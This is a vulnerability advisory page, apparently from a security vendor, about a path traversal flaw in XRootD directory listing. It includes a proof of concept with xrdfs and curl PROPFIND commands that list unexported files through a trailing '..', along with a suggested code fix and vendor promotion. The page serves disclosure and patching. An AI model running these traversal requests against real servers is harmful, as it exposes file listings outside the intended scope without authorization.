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GHSA-vj8v-p5vw-m6v5

MEDIUM

GHSA-vj8v-p5vw-m6v5 is a medium-severity (CVSS 5.3) vulnerability in xrootd. O3 Security confirms whether GHSA-vj8v-p5vw-m6v5 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern

Published
Apr 10, 2026
Updated
Apr 10, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected
🐍xrootd

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Description

Summary

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.

This bypass ignores the all.export restriction.

Affected component

src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer.

PoC

Configuration

  • Configuration file:
xrd.port 1094

# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/

# HTTP
xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd
  • Filesystem layout on the server:
/srv/xrootd/data/
├── alice/       ← only exported directory
├── bob/         ← not exported
└── secret.txt   ← not exported
  • Starting the server: xrootd -c /etc/xrootd/xrootd.cfg

Steps to reproduce

Normal behavior (access outside export is denied):

$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.

Bypass via trailing ..:

$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt

Also exploitable via HTTP PROPFIND:

curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
  --path-as-is \
  -H "Depth: 1"

Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).

However, file download via this path traversal is blocked:

$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]  
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)

Impact

An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).

File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

Suggested fix

In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:

// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIxrootdall versions5.9.2

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for xrootd. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update xrootd to 5.9.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-vj8v-p5vw-m6v5 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-vj8v-p5vw-m6v5 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-vj8v-p5vw-m6v5. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending `/..` (specifically without trailing slash) to an exported path in `xrdfs ls` or `HTTP PROPFIND` requests. This bypass ignores the `all.export` restriction. ## Affected component `src/XrdXrootd/XrdXrootdXeq.cc`, and more precisely the functions `rpCheck()` and `Squash()` used in `do_Dirlist()` ([link](https://github.com/xrootd/xrootd/blob/19aa6dee76906fb4d56ded55e49bbe4171ade915/src/XrdXrootd/XrdXrootdXeq.cc#L696)), as they
O3 Security · Impact-Aware SCA

Is GHSA-vj8v-p5vw-m6v5 in your dependencies?

O3 detects GHSA-vj8v-p5vw-m6v5 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.